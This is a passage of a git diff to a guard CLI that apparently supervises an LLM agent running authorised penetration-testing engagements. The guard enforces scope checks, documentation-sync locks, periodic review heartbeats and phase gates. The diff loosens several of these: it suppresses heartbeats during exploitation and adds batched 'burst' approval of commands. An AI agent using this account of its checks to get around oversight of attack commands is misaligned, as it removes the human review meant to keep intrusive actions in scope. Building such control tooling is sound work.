{service}:{port} is only researching; verified entry required before exploitation" + ) result.add_info( f"hypothesis ok: {service}:{port} -> " @@ -266,26 +274,40 @@ def main() -> int: parser = argparse.ArgumentParser(description="Hypothesis evidence guard") subparsers = parser.add_subparsers(dest="command_name", required=True) - record_parser = subparsers.add_parser("record-hypothesis", help="append or update a hypothesis entry in hypotheses.md") + record_parser = subparsers.add_parser( + "record-hypothesis", help="append or update a hypothesis entry in hypotheses.md" + ) record_parser.add_argument("--eng-dir", required=True, help="engagement directory") record_parser.add_argument("--service", required=True, help="service name (e.g. SMB)") record_parser.add_argument("--port", required=True, help="port number (e.g. 445)") record_parser.add_argument("--id", default="", help="existing H-XXX id to update in place") record_parser.add_argument("--title", default="", help="short hypothesis title") - record_parser.add_argument("--status", default="candidate", help="candidate|researching|verified|rejected") + record_parser.add_argument( + "--status", default="candidate", help="candidate|researching|verified|rejected" + ) record_parser.add_argument("--phase", default="RECON", help="phase tag for this hypothesis") - record_parser.add_argument("--target", default="", help="host/IP this hypothesis targets (e.g. 10.1.2.3). If omitted, derived from the engagement dir name. NEVER the literal ''.") - record_parser.add_argument("--vuln-class", default="", help="vulnerability class (e.g. CVE-2021-44142)") + record_parser.add_argument( + "--target", + default="", + help="host/IP this hypothesis targets (e.g. 10.1.2.3). If omitted, derived from the engagement dir name. NEVER the literal ''.", + ) + record_parser.add_argument( + "--vuln-class", default="", help="vulnerability class (e.g. CVE-2021-44142)" + ) record_parser.add_argument("--rationale", default="", help="why this service is interesting") record_parser.add_argument("--evidence", default="", help="path to supporting evidence") record_parser.add_argument("--updated", default="", help="override updated timestamp") record_parser.set_defaults(func=record_hypothesis) - check_parser = subparsers.add_parser("check-hypothesis", help="verify researched/verified hypotheses exist for a service:port") + check_parser = subparsers.add_parser( + "check-hypothesis", help="verify researched/verified hypotheses exist for a service:port" + ) check_parser.add_argument("--eng-dir", required=True, help="engagement directory") check_parser.add_argument("--service", required=True, help="service name") check_parser.add_argument("--port", required=True, help="port number") - check_parser.add_argument("--require-research", action="store_true", help="warn when only researching is present") + check_parser.add_argument( + "--require-research", action="store_true", help="warn when only researching is present" + ) check_parser.set_defaults(func=check_hypothesis) args = parser.parse_args() diff --git a/scripts/violin_guard.py b/scripts/violin_guard.py index 2d60b20..157f16d 100644 --- a/scripts/violin_guard.py +++ b/scripts/violin_guard.py @@ -23,18 +23,32 @@ SCRIPTS_DIR = Path(__file__).resolve().parent if str(SCRIPTS_DIR) not in sys.path: sys.path.insert(0, str(SCRIPTS_DIR)) -from guard.bootstrap import check_bootstrap, check_skill_loaded, init_engagement # noqa: E402 -from guard.command import check_command # noqa: E402 -from guard.closeout import check_closeout # noqa: E402 -from guard.record import record_ptt, record_history, VALID_STATUSES # noqa: E402 -from guard.release import check_release # noqa: E402 -from guard.scope import validate_scope # noqa: E402 # Single source of truth for the doc-sync + heartbeat + stuck-loop state machine. from guard import sync as sync_state # noqa: E402 +from guard.bootstrap import check_bootstrap, check_skill_loaded, init_engagement # noqa: E402 +from guard.closeout import check_closeout # noqa: E402 +from guard.command import _check_command_core, add_hosts, check_command, cleanup_hosts # noqa: E402 + # Single source of truth for the canonical engagement root + resolver. Every # subcommand that takes --eng-dir now resolves through here so the skill and # the plugin converge on the same absolute tree (root-cause fix). -from guard.core import ENG_ROOT, resolve_eng_dir # noqa: E402 +from guard.core import ( # noqa: E402 + ENG_ROOT, + LOCAL_TOOLS, + as_list, + command_leading_tool, + load_yaml, + resolve_eng_dir, +) +from guard.phase_gate import ( # noqa: E402 + check_all_phase_gates, + check_phase_gate, + closure_requested_from_ptt, + normalize_phase, +) +from guard.record import VALID_STATUSES, record_history, record_ptt # noqa: E402 +from guard.release import check_release # noqa: E402 +from guard.scope import validate_scope # noqa: E402 # Importable marker so the plugin and the CLI share identical enforcement logic. __all__ = ["main", "check_command_enforced"] @@ -45,16 +59,26 @@ def check_command_enforced(args: argparse.Namespace) -> int: This is the path the LLM must use for every target-touching command. It: - 1) BLOCKS if a prior approved command's artifacts (ptt.md / history.md / - hypothesis-board.md) have not been synced yet (caller must run the - command, update the artifacts, then call ``sync-done``). - 2) BLOCKS if a periodic coarse review (heartbeat) is pending — the LLM - must re-read SKILL.md and review the engagement files, then call - ``heartbeat-done``. - 3) Runs the normal safety gate (scope, skill-load, PTT/hypothesis + 1) DOC-SYNC WINDOW GATE (issue 1, redesigned). The old design armed a + pending-sync lock after EVERY approved command, forcing + record-history + record-ptt + sync-done (3 tool calls) before the + NEXT command — iterating 5-6 payload variants blew the ~50-call + budget. Now each approved target command *spends one sync-credit* from + a sliding window; the gate only BLOCKS once the credit is exhausted + (default 5 commands). The agent runs a batch of N<=5 commands, records + artifacts ONCE at batch end, then calls sync-done a single time. + 2) HEARTBEAT GATE (issue 2). Suppressed during EXPLOITATION / + POST_EXPLOITATION (payload iteration must not be interrupted); the + cadence is raised (COMMAND_INTERVAL 20 / MESSAGE_INTERVAL 30). When the + gate fires, the LLM must re-read SKILL.md + review engagement files, + then call ``heartbeat-done``. + 3) STUCK-LOOP GATE. Re-issuing the exact same command past RETRY_LIMIT is + the classic "stuck retrying" anti-pattern. + 4) Runs the normal safety gate (scope, skill-load, PTT/hypothesis freshness, dangerous/tier3 patterns). BLOCK => block. - 4) On allow: marks a pending-sync, ticks the command counter, and sets a - heartbeat lock if the cadence interval was hit. + 5) On allow: spends a sync-credit, ticks the command counter, arms the + pending-sync lock (single reconcile after the batch), and sets a + heartbeat lock if the (raised) cadence interval was hit. The raw ``check_command`` function still exists for non-engagement / pre-bootstrap use; the enforced wrapper is what makes doc completion @@ -65,45 +89,67 @@ def check_command_enforced(args: argparse.Namespace) -> int: command = args.command or "" if eng_dir: - # 1) doc-sync gate + # 1) DOC-SYNC WINDOW GATE (issue 1) pending = sync_state.has_pending_sync(eng_dir) if pending is not None: - print("BLOCK: prior command's artifacts not synced yet.") - print(f" pending_command: {pending.get('command')}") - print(" ACTION: run the command, update ptt.md 'Last updated:' + state/history.md" - " (+ hypothesis-board.md 'Updated:' in vuln-research/exploitation), then call:" - " violin_guard.py sync-done --eng-dir \"$ENG_DIR\"") - return 1 - # 2) heartbeat gate - hb = sync_state.has_heartbeat_pending(eng_dir) - if hb is not None: - print("BLOCK: periodic engagement-file review (heartbeat) is pending.") - print(f" reason: {hb.get('reason')}") - print(" ACTION: re-read skills/pentest/SKILL.md (drift guard + vuln playbooks)," - " review scope.yaml / ptt.md / hypotheses.md / history.md for drift, then call:" - " violin_guard.py heartbeat-done --eng-dir \"$ENG_DIR\"") - return 1 - # Anti-stuck: re-issuing the exact same command past the limit is the - # classic "stuck retrying" anti-pattern. Force research instead. + credits = sync_state.sync_credit_remaining(eng_dir) + if credits <= 0: + print( + f"BLOCK: sync-credit window exhausted ({sync_state.DEFAULT_SYNC_CREDIT} " + f"batched commands approved without an artifact sync)." + ) + print(f" pending_command: {pending.get('command')}") + print( + " ACTION: run the command, update ptt.md 'Last updated:' + state/history.md" + " (+ hypotheses.md 'Updated:' in vuln-research/exploitation), then call:" + ' violin_guard.py sync-done --eng-dir "$ENG_DIR"' + ) + return 1 + # Window still open: allow, but remind the agent to reconcile at batch end. + print( + f"OK: sync-credit window open ({credits} command(s) remaining before required sync-done)." + ) + # 2) HEARTBEAT GATE (issue 2) — suppressed during exploitation/post-exploitation + if not sync_state.heartbeat_suppressed(phase): + hb = sync_state.has_heartbeat_pending(eng_dir) + if hb is not None: + print("BLOCK: periodic engagement-file review (heartbeat) is pending.") + print(f" reason: {hb.get('reason')}") + print( + " ACTION: re-read skills/pentest/SKILL.md (drift guard + vuln playbooks)," + " review scope.yaml / ptt.md / hypotheses.md / history.md for drift, then call:" + ' violin_guard.py heartbeat-done --eng-dir "$ENG_DIR"' + ) + return 1 + # 3) ANTI-STUCK if sync_state.repeat_count(eng_dir, command) >= sync_state.RETRY_LIMIT: print(f"BLOCK: command repeated {sync_state.RETRY_LIMIT}+ times without progress.") - print(" ACTION: stop retrying. Record the observation as a hypothesis or note, run a" - " different command, or web_search / web_extract for the service's CVEs & exploits" - " before re-attempting. Document the change in ptt.md.") + print( + " ACTION: stop retrying. Record the observation as a hypothesis or note, run a" + " different command, or web_search / web_extract for the service's CVEs & exploits" + " before re-attempting. Document the change in ptt.md." + ) return 1 - # 3) safety gate + # 4) safety gate rc = check_command(args) - # 4) on allow/review, arm the next-call gates. - # A REVIEW (rc=2) means "allowed but record this" (e.g. history-not-yet- - # recorded) — the command still ran, so the LLM MUST sync its artifacts - # before the next one. Only a hard BLOCK (rc=1) must NOT arm the gate. - if rc in (0, 2) and eng_dir: + # 5) on allow/review, spend a credit and arm the next-call gates. + # A REVIEW (rc=2) means "allowed but record this" — the command still ran, + # so the LLM MUST sync its artifacts before the window's end. Only a hard + # BLOCK (rc=1) must NOT spend a credit or arm the gate. + # Local interpreters / shell built-ins (cd, python3, ls, ...) are NOT + # target-touching even if a host-shaped token appears in their arguments, + # so they are exempt and never spend a credit (see core.LOCAL_TOOLS). + from guard.core import command_leading_tool + + is_target = rc in (0, 2) and eng_dir and command_leading_tool(command) not in LOCAL_TOOLS + if is_target and not getattr(args, "defer_state", False): sync_state.record_ok_check(eng_dir, command, phase) + sync_state.spend_sync_credit(eng_dir) sync_state.mark_pending_sync(eng_dir, command, phase) count = sync_state.tick_command(eng_dir) - if count % sync_state.COMMAND_INTERVAL == 0: + if count % sync_state.COMMAND_INTERVAL == 0 and not sync_state.heartbeat_suppressed(phase): sync_state.set_heartbeat_pending( eng_dir, f"Reached {count} approved target commands (interval {sync_state.COMMAND_INTERVAL})." @@ -112,6 +158,124 @@ def check_command_enforced(args: argparse.Namespace) -> int: return rc +def run_burst( + commands: list[str], + *, + eng_dir: str = "", + phase: str = "", + scope: str = "", + session_id: str = "", + skill_loaded_file: str = "", + label: str = "", +) -> dict: + """Single-approval burst executor. + + The performance problem: the enforced ``check-command`` gate stamps a + pending-sync lock after EVERY approved command, so the next command is + BLOCKED until the operator runs it, rewrites ptt.md / history.md / + hypothesis-board.md, then calls ``sync-done``. For a 5–20 step race + (e.g. React2Shell / view-state deserialisation), that per-command + sync tax blows the exploitation window or forces the operator to drop to + the raw terminal (losing all guard coverage). + + Burst mode keeps FULL guard coverage but amortises the sync tax: every + command is gated by the full safety gate (scope, skill-load, + PTT/hypothesis freshness, dangerous/tier3 patterns, out-of-scope host + rejection) — but the pending-sync / heartbeat / stuck-loop gates are + deferred for the whole batch. Only the LAST command arms the normal + per-command gates, so a single ``sync-done`` after the batch unlocks + the next call. + + Returns a structured dict: + verdict: "approved" | "review" | "denied" + label: the batch label (for the operator's log) + n: total commands + approved: per-command passes [(i, command, verdict)] + blocked: earliest blocking command [(i, command, errors)] + scope_hits: commands that touch in-scope hosts (proven target-touching) + """ + results: list[tuple[int, str, str, list[str]]] = [] + scope_hits: list[str] = [] + # Pre-load scope once so we can report which commands actually touch an + # in-scope host (proves the batch is genuinely target-touching, not noise). + scope_data = load_yaml(Path(scope)) if scope else {} + + for i, command in enumerate(commands): + cargs = argparse.Namespace( + scope=scope, + phase=phase, + command=command, + eng_dir=eng_dir, + skill_loaded_file=skill_loaded_file, + session_id=session_id, + ) + res = _check_command_core(cargs) + # REVIEW (rc=2, warnings only) is allowed with explicit approval; + # BLOCK (errors) hard-stops the batch. + if res.errors: + verdict = "denied" + elif res.warnings: + verdict = "review" + else: + verdict = "approved" + results.append((i, command, verdict, res.errors[:])) + + # Track in-scope-host touches for the operator's evidence log. + if scope_data: + from guard.command import extract_hosts, is_excluded_host, is_scoped_host + + for host in extract_hosts(command): + if ( + is_scoped_host(host, scope_data) + and not is_excluded_host(host, scope_data) + and command not in scope_hits + ): + scope_hits.append(command) + + if verdict == "denied": + # Hard block: stop the batch immediately (fail-closed). + break + + # Aggregate verdict: any denial => denied; any review => review; else approved. + if any(v == "denied" for _, _, v, _ in results): + verdict = "denied" + elif any(v == "review" for _, _, v, _ in results): + verdict = "review" + else: + verdict = "approved" + + # Only the LAST command arms the normal per-command gates, so a single + # sync-done after the batch unlocks the next call. Local tools / non-target + # commands never arm the gates. + if verdict in ("approved", "review") and eng_dir and commands: + last = commands[-1] + is_target = command_leading_tool(last) not in LOCAL_TOOLS + if is_target: + sync_state.record_ok_check(eng_dir, last, phase) + sync_state.mark_pending_sync(eng_dir, last, phase) + count = sync_state.tick_command(eng_dir) + if count % sync_state.COMMAND_INTERVAL == 0 and not sync_state.heartbeat_suppressed( + phase + ): + sync_state.set_heartbeat_pending( + eng_dir, + f"Reached {count} approved target commands (interval " + f"{sync_state.COMMAND_INTERVAL}). Review engagement files " + f"for drift before continuing.", + ) + + blocked = [(i, c, e) for (i, c, v, e) in results if v == "denied"] + passed = [(i, c, v) for (i, c, v, _) in results if v != "denied"] + return { + "verdict": verdict, + "label": label or "burst", + "n": len(commands), + "approved": passed, + "blocked": blocked, + "scope_hits": scope_hits, + } + + def cmd_check_closeout(args: argparse.Namespace) -> int: """Hard gate: verify mandatory REPORTING/RETROSPECTIVE artifacts exist. @@ -127,18 +291,56 @@ def cmd_check_closeout(args: argparse.Namespace) -> int: return res.exit_code() +def cmd_check_phase_gate(args: argparse.Namespace) -> int: + """Review whether one phase has all mandatory completion artifacts.""" + phase = normalize_phase(args.phase) + ok, missing = check_phase_gate(args.eng_dir, phase) + if ok: + print(f"OK: phase gate passed for {phase}") + return 0 + print(f"REVIEW: phase gate not satisfied for {phase}") + for item in missing: + print(f" MISSING: {item}") + return 1 + + +def _print_closure_review(eng_dir: str) -> bool: + """Print cumulative phase gaps; return True when closure is allowed.""" + failed = check_all_phase_gates(eng_dir) + if not failed: + return True + print("REVIEW: engagement closure blocked — missing required artifacts:") + for phase, missing in failed: + print(f" {phase}: {', '.join(missing)}") + return False + + +def cmd_close(args: argparse.Namespace) -> int: + """Allow closure only after every phase-completion gate passes.""" + if not _print_closure_review(args.eng_dir): + return 1 + print("OK: all phase gates passed — engagement may be closed.") + return 0 + + def cmd_sync_done(args: argparse.Namespace) -> int: - """Verify the prior command's artifacts are fresh; clear the sync lock.""" + """Verify freshness and refuse closure while phase artifacts are missing.""" eng_dir = args.eng_dir or "" + closure_requested = getattr(args, "close", False) or closure_requested_from_ptt(eng_dir) pending = sync_state.has_pending_sync(eng_dir) if pending is None: + if closure_requested and not _print_closure_review(eng_dir): + return 2 print("OK: nothing pending — artifacts already in sync.") return 0 if sync_state.artifacts_are_fresh(eng_dir, pending): + if closure_requested and not _print_closure_review(eng_dir): + # Keep the lock: closure was claimed while deliverables are absent. + return 2 sync_state.clear_pending_sync(eng_dir) print("OK: artifacts verified fresh. Next target command allowed.") return 0 - + # Provide actionable guidance on what specifically is stale pending_ts = pending.get("ts", "") pending_cmd = pending.get("command", "") @@ -156,14 +358,149 @@ def cmd_sync_done(args: argparse.Namespace) -> int: print(" Update the 'Updated: YYYY-MM-DD HH:MM' field for active hypotheses") print() print(" Example workflow after running a command:") - print(" python scripts/violin_guard.py record-history --eng-dir \"$ENG_DIR\" \\") - print(" --command \"\" --exit-code --phase ") - print(" python scripts/violin_guard.py record-ptt --eng-dir \"$ENG_DIR\" \\") - print(" --id PT-XXX --status \"[~]\" --note \"\"") - print(" python scripts/violin_guard.py sync-done --eng-dir \"$ENG_DIR\"") + print(' python scripts/violin_guard.py record-history --eng-dir "$ENG_DIR" \\') + print(' --command "" --exit-code --phase ') + print(' python scripts/violin_guard.py record-ptt --eng-dir "$ENG_DIR" \\') + print(' --id PT-XXX --status "[~]" --note ""') + print(' python scripts/violin_guard.py sync-done --eng-dir "$ENG_DIR"') return 2 +def cmd_exec_burst(args: argparse.Namespace) -> int: + """CLI wrapper for the single-approval burst executor. + + Reads a newline-delimited list of PRE-APPROVED-as-a-batch commands from + ``--commands-file``, runs the full safety gate over each, and prints one + aggregate verdict. The operator approves the BATCH (not each command), so + the per-command doc-sync tax is amortised to a single ``sync-done``. + """ + path = Path(args.commands_file) + if not path.exists(): + print(f"BLOCK: commands file not found: {path}") + return 1 + commands = [ + ln.strip() + for ln in path.read_text(encoding="utf-8").splitlines() + if ln.strip() and not ln.strip().startswith("#") + ] + if not commands: + print(f"BLOCK: commands file is empty: {path}") + return 1 + result = run_burst( + commands, + eng_dir=args.eng_dir or "", + phase=args.phase, + scope=args.scope, + session_id=args.session_id or "", + skill_loaded_file=args.skill_loaded_file or "", + label=args.label or "", + ) + verdict = result["verdict"] + print(f"BURST VERDICT: {verdict.upper()} (label={result['label']}, n={result['n']})") + if result["scope_hits"]: + print(f" target-touching commands ({len(result['scope_hits'])}):") + for c in result["scope_hits"]: + print(f" - {c}") + if result["blocked"]: + print(" BLOCKED commands:") + for i, c, errs in result["blocked"]: + print(f" [{i}] {c}") + for e in errs: + print(f" ! {e}") + print("\nBLOCK: batch halted at first hard BLOCK. Fix the flagged command and re-submit.") + return 1 + if verdict == "review": + print(" REVIEW: some commands carry warnings (Tier-3 / PRIVESC-review).") + print(" Approve the batch explicitly, then run the commands and call sync-done once.") + return 2 + print(f" APPROVED: run all {result['n']} commands, then call sync-done ONCE to unlock.") + return 0 + + +def cmd_target(args: argparse.Namespace) -> int: + """Resolve the canonical in-scope target for the current engagement. + + Kills hardcoded-IP fragility: the agent asks for the target by role + (``--role web`` or ``--host ``), and the guard returns the + authoritative value from ``scope.yaml`` — so a box reset / IP change + requires editing ONE file, not grepping the whole history. + + Examples: + violin_target --eng-dir "$ENG_DIR" --host 10.10.10.10 --field ip + -> 10.10.10.10 + violin_target --eng-dir "$ENG_DIR" --role web --field url + -> http://10.10.10.10 + """ + eng_dir = args.eng_dir or "" + if not eng_dir: + print("BLOCK: --eng-dir is required (target resolution is engagement-scoped)") + return 1 + scope_path = ( + Path(args.scope) + if getattr(args, "scope", None) + else (Path(resolve_eng_dir(eng_dir)) / "scope" / "scope.yaml") + ) + if not scope_path.exists(): + print(f"BLOCK: scope.yaml not found: {scope_path}") + return 1 + scope = load_yaml(scope_path) + if scope is None: + print("BLOCK: scope.yaml failed to parse") + return 1 + + # Select the target record by host or role. + targets = as_list((scope.get("targets") or {}).get("ip_addresses")) or [] + urls = as_list((scope.get("targets") or {}).get("in_scope_urls")) or [] + roles = ( + scope.get("targets", {}).get("roles", {}) if isinstance(scope.get("targets"), dict) else {} + ) + + chosen_ip = None + if args.host: + want = args.host.strip() + if want in targets or any(want in str(t) for t in targets): + chosen_ip = want + else: + print(f"BLOCK: host {want} is not in scope per {scope_path}") + return 1 + elif args.role: + role_ip = roles.get(args.role) + if role_ip: + chosen_ip = role_ip + elif args.role == "web" and urls: + print(urls[0]) + return 0 + else: + print(f"BLOCK: no target for role={args.role} in scope.yaml") + return 1 + else: + # Default: first in-scope IP (single-target engagements). + chosen_ip = targets[0] if targets else None + + if chosen_ip is None: + print("BLOCK: no in-scope target resolved (check scope.yaml targets)") + return 1 + + # Emit the requested field. + field = (args.field or "ip").lower() + if field == "ip": + print(chosen_ip) + elif field == "url": + # Prefer a matching in-scope URL, else synthesise http://ip. + for u in urls: + if chosen_ip in str(u): + print(u) + break + else: + print(f"http://{chosen_ip}") + elif field == "host": + print(chosen_ip) + else: + print(f"BLOCK: unknown --field {args.field} (use ip|url|host)") + return 1 + return 0 + + def cmd_sync_clear(args: argparse.Namespace) -> int: """Force-clear a pending-sync lock regardless of artifact freshness. @@ -189,8 +526,10 @@ def cmd_heartbeat_done(args: argparse.Namespace) -> int: print("OK: no heartbeat review pending.") return 0 sync_state.clear_heartbeat_pending(eng_dir) - print("OK: heartbeat review cleared. Re-read of pentest SKILL.md and engagement-file" - " review complete — target commands allowed.") + print( + "OK: heartbeat review cleared. Re-read of pentest SKILL.md and engagement-file" + " review complete — target commands allowed." + ) return 0 @@ -204,7 +543,9 @@ def cmd_message_tick(args: argparse.Namespace) -> int: f"Reached {count} messages (interval {sync_state.MESSAGE_INTERVAL})." " Review engagement files for drift before continuing.", ) - print(f"OK: message_count={count}; heartbeat triggered — next command requires heartbeat-done.") + print( + f"OK: message_count={count}; heartbeat triggered — next command requires heartbeat-done." + ) return 2 print(f"OK: message_count={count}.") return 0 @@ -234,92 +575,271 @@ def main() -> int: scope_parser.add_argument("--scope", required=True) scope_parser.set_defaults(func=validate_scope) - command_parser = subparsers.add_parser("check-command", help="check a target-touching terminal command (enforced: blocks until prior artifacts synced + periodic review done)") + command_parser = subparsers.add_parser( + "check-command", + help="check a target-touching terminal command (enforced: blocks until prior artifacts synced + periodic review done)", + ) command_parser.add_argument("--scope", required=True) command_parser.add_argument("--phase", required=True) command_parser.add_argument("--command", required=True) - command_parser.add_argument("--eng-dir", default="", help="engagement directory; enables doc-sync/heartbeat/stuck-loop enforcement") - command_parser.add_argument("--skill-loaded-file", default="", help="skill-load marker path; when set, missing marker blocks the command") - command_parser.add_argument("--session-id", default="", help="current session or goal label; when set, --skill-loaded-file must encode the same session id") + command_parser.add_argument( + "--eng-dir", + default="", + help="engagement directory; enables doc-sync/heartbeat/stuck-loop enforcement", + ) + command_parser.add_argument( + "--skill-loaded-file", + default="", + help="skill-load marker path; when set, missing marker blocks the command", + ) + command_parser.add_argument( + "--session-id", + default="", + help="current session or goal label; when set, --skill-loaded-file must encode the same session id", + ) + command_parser.add_argument( + "--defer-state", + action="store_true", + help=argparse.SUPPRESS, + ) command_parser.set_defaults(func=check_command_enforced) + burst_parser = subparsers.add_parser( + "exec-burst", + help="single-approval burst gate: pre-check N target-touching commands " + "at once (full safety gate each), deferring the doc-sync lock to " + "the LAST command so one sync-done unlocks the next call. Drops " + "the per-command sync tax that blows race-exploit windows.", + ) + burst_parser.add_argument("--scope", required=True) + burst_parser.add_argument("--phase", required=True) + burst_parser.add_argument( + "--commands-file", + required=True, + help="newline-delimited file of commands (that are PRE-APPROVED as a batch by the operator)", + ) + burst_parser.add_argument( + "--eng-dir", + default="", + help="engagement directory; enables one-time sync-lock arming on the last command", + ) + burst_parser.add_argument("--skill-loaded-file", default="") + burst_parser.add_argument("--session-id", default="") + burst_parser.add_argument("--label", default="", help="optional batch label for logging") + burst_parser.set_defaults(func=cmd_exec_burst) + target_parser = subparsers.add_parser( + "target", + help="resolve the canonical in-scope target for the engagement from " + "scope.yaml (by --host or --role), killing hardcoded-IP fragility " + "(box resets just edit scope.yaml, not every command in history)", + ) + target_parser.add_argument("--eng-dir", default="") + target_parser.add_argument( + "--scope", default="", help="explicit scope.yaml path (else $ENG_DIR/scope/scope.yaml)" + ) + target_parser.add_argument("--host", default="", help="in-scope IP/CIDR to resolve") + target_parser.add_argument( + "--role", default="", help="named role from scope.yaml targets.roles (e.g. web)" + ) + target_parser.add_argument( + "--field", default="ip", choices=["ip", "url", "host"], help="what to print (default: ip)" + ) + target_parser.set_defaults(func=cmd_target) + closeout_parser = subparsers.add_parser( "check-closeout", help="hard gate: verify mandatory REPORTING/RETROSPECTIVE artifacts exist " - "(report.md, retrospective.md, phase-summary.md, CVSS:3.1, Research Log). " - "Missing artifacts BLOCK even under --yolo.", + "(report.md, retrospective.md, phase-summary.md, CVSS:3.1, Research Log). " + "Missing artifacts BLOCK even under --yolo.", ) closeout_parser.add_argument("--eng-dir", required=True, help="engagement directory") closeout_parser.add_argument("--phase", required=True, help="REPORTING or RETROSPECTIVE") - closeout_parser.add_argument("--command", default="", help="artifact-producing command (exempts the gate)") + closeout_parser.add_argument( + "--command", default="", help="artifact-producing command (exempts the gate)" + ) closeout_parser.set_defaults(func=cmd_check_closeout) - sync_parser = subparsers.add_parser("sync-done", help="call AFTER updating ptt.md/history.md/hypothesis-board.md for the last approved command; verifies freshness and unlocks the next command") + phase_gate_parser = subparsers.add_parser( + "check-phase-gate", + help="review whether a phase's mandatory completion artifacts exist", + ) + phase_gate_parser.add_argument("--eng-dir", required=True, help="engagement directory") + phase_gate_parser.add_argument("--phase", required=True, help="phase to verify") + phase_gate_parser.set_defaults(func=cmd_check_phase_gate) + + close_parser = subparsers.add_parser( + "close", + help="gate engagement closure on every phase's mandatory deliverables", + ) + close_parser.add_argument("--eng-dir", required=True, help="engagement directory") + close_parser.set_defaults(func=cmd_close) + + sync_parser = subparsers.add_parser( + "sync-done", + help="call AFTER updating state/ptt.md/state/history.md/hypotheses.md for the last approved command; verifies freshness and unlocks the next command", + ) sync_parser.add_argument("--eng-dir", required=True, help="engagement directory") + sync_parser.add_argument( + "--close", + action="store_true", + help="explicitly request cumulative engagement-closure verification", + ) sync_parser.set_defaults(func=cmd_sync_done) sync_clear_parser = subparsers.add_parser( "sync-clear", help="force-clear a stale pending-sync lock (use at session start to drop a " - "leftover lock from a prior session that died before sync-done)", + "leftover lock from a prior session that died before sync-done)", ) sync_clear_parser.add_argument("--eng-dir", required=True, help="engagement directory") sync_clear_parser.set_defaults(func=cmd_sync_clear) - heartbeat_parser = subparsers.add_parser("heartbeat-done", help="call AFTER re-reading SKILL.md + reviewing engagement files on the cadence; clears the heartbeat lock") + heartbeat_parser = subparsers.add_parser( + "heartbeat-done", + help="call AFTER re-reading SKILL.md + reviewing engagement files on the cadence; clears the heartbeat lock", + ) heartbeat_parser.add_argument("--eng-dir", required=True, help="engagement directory") heartbeat_parser.set_defaults(func=cmd_heartbeat_done) - tick_parser = subparsers.add_parser("message-tick", help="LLM-opt-in: call once per assistant message; sets a heartbeat lock every MESSAGE_INTERVAL messages") + tick_parser = subparsers.add_parser( + "message-tick", + help="LLM-opt-in: call once per assistant message; sets a heartbeat lock every MESSAGE_INTERVAL messages", + ) tick_parser.add_argument("--eng-dir", required=True, help="engagement directory") tick_parser.set_defaults(func=cmd_message_tick) eng_root_parser = subparsers.add_parser( "eng-root", help="print the canonical engagement root (ENG_ROOT) and resolve a given " - "engagement directory to its absolute path under it; used by the " - "skill/scoping bootstrap to build an ABSOLUTE ENG_DIR that matches " - "the plugin (root-cause fix for divergent engagement trees)", + "engagement directory to its absolute path under it; used by the " + "skill/scoping bootstrap to build an ABSOLUTE ENG_DIR that matches " + "the plugin (root-cause fix for divergent engagement trees)", ) eng_root_parser.add_argument( - "--eng-dir", default="", + "--eng-dir", + default="", help="optional engagement dir to resolve (e.g. '10.129.46.56-2026-07-08' " - "or 'engagements/10.129.46.56-2026-07-08'); if omitted, prints ENG_ROOT", + "or 'engagements/10.129.46.56-2026-07-08'); if omitted, prints ENG_ROOT", ) eng_root_parser.set_defaults(func=cmd_eng_root) - bootstrap_parser = subparsers.add_parser("check-bootstrap", help="verify engagement bootstrap is complete (scope, PTT, hypothesis board, history exist)") - bootstrap_parser.add_argument("--eng-dir", default="", help="engagement directory (ENG_DIR); pass explicitly or export as env var") - bootstrap_parser.add_argument("--auto-repair", action="store_true", help="if a required bootstrap artifact is a directory (LLM bootstrap drift), remove it and re-create from the canonical template") + bootstrap_parser = subparsers.add_parser( + "check-bootstrap", + help="verify engagement bootstrap is complete (scope, PTT, hypothesis board, history exist)", + ) + bootstrap_parser.add_argument( + "--eng-dir", + default="", + help="engagement directory (ENG_DIR); pass explicitly or export as env var", + ) + bootstrap_parser.add_argument( + "--auto-repair", + action="store_true", + help="if a required bootstrap artifact is a directory (LLM bootstrap drift), remove it and re-create from the canonical template", + ) bootstrap_parser.set_defaults(func=check_bootstrap) - init_parser = subparsers.add_parser("init-engagement", help="auto-create a complete, guard-clean engagement directory from templates") - init_parser.add_argument("--eng-dir", required=True, help="engagement directory to create (name should contain the host, e.g. engagements/10.129.45.228-2026-07-08)") - init_parser.add_argument("--host", default="", help="target host/IP to pre-fill in scope.yaml; if omitted, derived from --eng-dir name") + init_parser = subparsers.add_parser( + "init-engagement", + help="auto-create a complete, guard-clean engagement directory from templates", + ) + init_parser.add_argument( + "--eng-dir", + required=True, + help="engagement directory to create (name should contain the host, e.g. engagements/10.129.45.228-2026-07-08)", + ) + init_parser.add_argument( + "--host", + default="", + help="target host/IP to pre-fill in scope.yaml; if omitted, derived from --eng-dir name", + ) init_parser.set_defaults(func=lambda a: init_engagement(a.eng_dir, host=a.host)) release_parser = subparsers.add_parser("check-release", help="validate release readiness") release_parser.set_defaults(func=check_release) - ptt_parser = subparsers.add_parser("record-ptt", help="update a PT-XXX row in the PTT") + ptt_parser = subparsers.add_parser( + "record-ptt", help="update or create a PT-XXX row in the PTT" + ) ptt_parser.add_argument("--eng-dir", required=True, help="engagement directory") ptt_parser.add_argument("--id", required=True, help="PT-XXX id (e.g. PT-016)") - ptt_parser.add_argument("--status", required=True, choices=sorted(VALID_STATUSES), help="new status marker") + ptt_parser.add_argument( + "--status", + required=False, + default=None, + choices=sorted(VALID_STATUSES) + [None], + help="new status marker; required for status-update mode, " + "optional in --create mode (defaults to [ ])", + ) ptt_parser.add_argument("--note", default="", help="one-line note appended to Evidence column") + ptt_parser.add_argument( + "--create", + action="store_true", + help="create a new PT-XXX row (auto-creates phase section if missing)", + ) + ptt_parser.add_argument("--task", default="", help="task text for a new --create row") + ptt_parser.add_argument( + "--phase", + default="", + help="override phase for --create (otherwise inferred from PT-XXX id)", + ) ptt_parser.set_defaults(func=record_ptt) - skill_parser = subparsers.add_parser("check-skill-loaded", help="mark SKILL.md as read for the current session/work-block") + addhosts_parser = subparsers.add_parser( + "add-hosts", + help="append SCOPE-SCOPED IP->hostname entries to $ENG_DIR/state/hosts.allowed " + "(engagement-local; never touches system /etc/hosts directly)", + ) + addhosts_parser.add_argument("--eng-dir", required=True, help="engagement directory") + addhosts_parser.add_argument( + "--entry", + required=True, + nargs=2, + action="append", + metavar=("IP", "HOSTNAME"), + help="repeatable 'IP HOSTNAME' pair; IP must be in-scope per scope.yaml and not excluded", + ) + addhosts_parser.add_argument("--scope", default="", help="optional explicit scope.yaml path") + addhosts_parser.set_defaults(func=add_hosts) + + cleanuphosts_parser = subparsers.add_parser( + "cleanup-hosts", help="remove IPs from $ENG_DIR/state/hosts.allowed (engagement teardown)" + ) + 